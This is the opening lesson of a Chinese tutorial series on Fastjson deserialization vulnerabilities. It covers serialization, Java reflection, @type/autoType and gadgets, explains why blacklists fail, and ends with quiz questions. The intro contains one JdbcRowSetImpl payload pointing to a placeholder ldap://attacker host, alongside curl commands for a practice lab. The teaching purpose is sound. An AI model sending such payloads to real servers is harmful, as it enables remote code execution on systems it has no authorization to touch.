ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

Fastjson 漏洞 · 01 · 认识 Fastjson 与序列化基础

Fastjson 漏洞 · 01 · 认识 Fastjson 与序列化基础 引子一行 JSON 为什么会变成一把 shell先看一段真实、且几乎每个 Java 后端都写过的代码String body request.getParameter(data); Object obj JSON.parse(body); // 本意把前端传来的 JSON 变成 Java 对象如果body被换成下面这样{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker/Exploit,autoCommit:true}服务器就可能在解析 JSON这一步去连接攻击者的服务器、下载并执行代码。一个普通请求参数直接变成服务器权限。这不是魔术而是反序列化 自动类型识别autoType这套设计的必然结果——本篇先把这条因果讲透而不是一上来就背 payload。为什么一个网络空间安全方向的学生必须懂它因为 Fastjson 不是冷门组件而是国内 Java 后端的基础设施级依赖电商下单、支付回调、政务表单、消息队列、配置中心、甚至 Android 客户端背后都可能是它。这类漏洞的特点不是新而是面广、存量多、岗位高频——渗透测试要打、代码审计要查、安全面试要问。本篇要点读完应能回答JSON 库在系统里扮演什么角色序列化和反序列化各自做了什么反射为什么是用字符串决定加载哪个类的发动机type为什么会被设计出来又为什么危险为什么拉黑危险类这种防御长期看必然失守一、先讲现实Fastjson 是干嘛的以用户下单为例前端发给商城后端的数据大概是这样的{userId:10086,skuId:9527,count:2,coupon:NEW5}后端的 Java 程序拿到这段文本需要把它变成一个 Java对象比如Order类的实例才能调用orderService.create(order)去下单。把文本 → Java 对象这件事做掉的工具就叫JSON 库。Fastjson 是阿里巴巴开源的 Java JSON 库因为快、API 简单在国内 Java 后端、中间件、Android 里被大量使用常见于这些地方电商 / 支付 / 政务 / 企业系统的 HTTP 接口Spring MVC 里常用于解析请求体微服务之间的 RPC、消息队列的消息体缓存Redis里存的对象、配置中心如 Nacos下发的配置很多国产中间件/框架的底层默认 JSON 实现。换句话说只要一个 Java 系统在把前端/上游传来的 JSON 变成对象它很可能就在用 Fastjson。这正是这类漏洞影响面巨大的原因——2021 年前后国内外大量系统因为 Fastjson 一个字符串就被人拿到了服务器权限。二、序列化与反序列化白话版序列化serialize把内存里的对象变成一个能存进文件、能通过网络传输的扁平格式JSON 文本、二进制流都算。好比把一辆组装好的家具拆成板材、装进纸箱。反序列化deserialize反过来把扁平数据恢复成对象。好比按图纸把板材重新组装成家具。Fastjson 的两个核心方法String json JSON.toJSONString(order); // 序列化Order 对象 - JSON 字符串 Order o JSON.parseObject(json, Order.class); // 反序列化JSON 字符串 - Order 对象 Object x JSON.parse(json); // 反序列化不指定目标类型重要关键点JSON.parse不告诉程序要变成什么类序列化时Fastjson 默认不会把类名写进 JSON。所以反序列化时如果只给一段 JSON、不给目标类程序就不知道要 new 哪个类。为了让多态能工作Fastjson 支持在 JSON 里用特殊字段type指定类名{type:com.example.Order,userId:10086,count:2}正常业务里type是给同一个接口有多个实现类这种场景用的。但漏洞也从这里开始既然类名由输入决定攻击者能不能填一个反序列化时会干坏事的类答案是可以。这个由输入指定类并被自动实例化的能力就叫autoType自动类型识别。三、反射漏洞的发动机要理解实例化一个类为什么能执行代码必须先知道反射Reflection。Java 程序运行时JVM 里有一张类信息表。反射就是让程序在运行时根据一个字符串类名去找到这个类Class.forName(com.example.Foo)或类加载器加载创建它的对象clazz.newInstance()/ 构造器newInstance()访问它的字段、调用它的方法包括私有的用setAccessible(true)。一段最小示例Class? c Class.forName(java.lang.String); // 用字符串找到类 Object o c.getConstructor(String.class).newInstance(hi); // 造对象 Object r c.getMethod(length).invoke(o); // 调方法 - 2为什么危险因为反射把写死在代码里的类名变成了运行时可变的字符串。当这个字符串来自用户输入Fastjson 的type正是如此攻击者就能让程序去加载、实例化开发者根本没想到的类。而很多 Java 类在被创建/设置属性的过程中会顺带执行有副作用的操作例如发起一个网络连接JdbcRowSetImpl的setAutoCommit→ JNDI 查询加载并定义一段字节码TemplatesImpl的getOutputProperties读取/写入文件、执行命令……这类能被外部摆弄出危险动作的类在安全圈叫gadget利用链组件。Fastjson 漏洞的本质 攻击者用type指定一个 gadget借助反射把它实例化/设值从而执行代码。四、把一次正常反序列化拆开看调用JSON.parse(json)解析下面这段时Fastjson 内部大致做{type:com.example.User,name:tom,age:20}读到type取出类名com.example.User通过类加载器把这个类加载进来等价于Class.forName创建User的实例遍历后面的字段name、age用反射找到对应的 setter 或字段把值写进去返回这个对象。第 2、4 步都用了反射。漏洞就发生在这里如果第 2 步加载的是攻击者精心挑选的类第 4 步设置的属性又恰好能触发危险动作代码就执行了。一个必须先建立的心智模型type里的类名 用户可控的要加载的类名。安全与否取决于能不能随便加载任意类以及被加载的类会不会干坏事。Fastjson 之后十几年的攻防全部围绕如何放开/收紧这个类名展开。五、为什么只过滤黑名单很难新手常问既然危险类就那么几个直接拉黑不就行了实际上危险的不只是执行命令的类而是大量能被组合出危险行为的普通类本系列 03 篇会看到JdbcRowSetImpl、TemplatesImpl都不是为攻击而生的项目依赖成百上千个第三方库每个库里都可能有可用 gadget黑名单永远赶不上新发现Fastjson 为了灵活性/兼容性曾允许用各种写法绕过检查L...;、数组、缓存……攻防因此进入长期拉锯。所以最终结论是别让不可信输入决定要加载哪个类——要么关掉 autoType要么用白名单。这也是防御的核心。六、本靶场里正常 vs 危险的对照靶场提供了一组端点最直观的是Bhttp://192.168.143.156:8080 ​ # 普通 JSON正常解析 curl -s -G $B/parse --data-urlencode data{a:1,b:hi} # OK: {a:1,b:hi} ​ # 带 type 的 JSON会去实例化指定类 curl -s -G $B/parse --data-urlencode data{type:java.util.HashMap,x:1} # OK: {x:1} 这里 HashMap 无害但它证明了类名由输入决定下一篇就把type背后的checkAutoType检查逻辑讲透。七、自测题答案在正文里不要背题面序列化和反序列化分别是什么为什么说反序列化比序列化危险Fastjson 为什么需要type它是干嘛用的反射的三个最小能力是什么它和任意代码执行之间缺了哪个条件才成立为什么拉黑危险类这种防御长期看不可靠用自己的话说出Fastjson 漏洞的本质。
返回列表